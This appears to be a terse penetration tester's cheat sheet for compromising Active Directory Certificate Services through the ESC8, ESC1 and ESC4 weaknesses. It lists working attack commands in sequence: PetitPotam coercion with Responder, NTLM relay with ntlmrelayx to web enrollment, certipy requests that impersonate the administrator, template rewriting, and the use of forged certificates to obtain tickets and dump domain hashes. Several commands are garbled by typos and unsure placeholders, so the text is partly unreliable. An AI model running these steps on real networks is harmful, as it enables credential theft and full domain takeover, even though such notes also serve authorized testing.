- ESC8
- Check DC is vulnerable to PetitPotam, meaning:
- Web Enrollment is enabled
certipy find -u USER -dc-ip IP -p PASS
- Showing vulnerabilities (ESC8)
- Servers accept NTLM authentications (classic AD)
- Run Responder
- Use PetitPotam on DC to authenticate to the Responder
- Machine hash gets leaked, can either crack or relay
- FOR RELAYING:
ntlmrelayx -t http://CERTIFICATE_SERVER_IP/certsrv/certgnsh.asp -smb2sipport —adcs —template Domain Controller
- Get the certificate server IP by running
certutil.exe
- Use PetitPotam
- Certificate gets leaked in ntlmrelayx
- Request for a ticket with
gettgtpkinit.py -pfx-base64 $(cat b64-cert) ‘DOMAIN’/’DCNAME$’ ‘ticket.ccache’
- Use ccache for secretsdump
- ESC1: When you can request for a certificate by giving another name (usually to spoof the administrator)
- Check ESC1 is present and Domain Users have enrollment rights:
certipy find -dc-ip IP -u USER -p PASS
- Request for a cert as the admin
certipy req -username [email protected](maybe) -password 'BadPass!' -ca 'DC-NAME-AFAIK' -template 'TestUser' -upn [email protected](maybe) -debug -dc-ip IP -target MY_IP?
- Get administrator_dc.pfx
- Use it to leak the admin hash
certipy auth -dc-ip IP -pfx administrator_dc.pfx
- ESC4: Rewrite template to make it vulnerable - A chain to go from ESC4 to ESC1
- Find that the dc is vulnerable to ESC4
certipy find -u USER -dc-ip IP -p PASS -text -output original
- Update existing template to enable ESC1 and save the original one
certipy template -dc-ip IP -username USER -template 'Existing_Template' -save-old -p PASS
- Carry on with ESC4
- Use certipy to verify
- ESC3: Template has high privs and can make you elevate your privs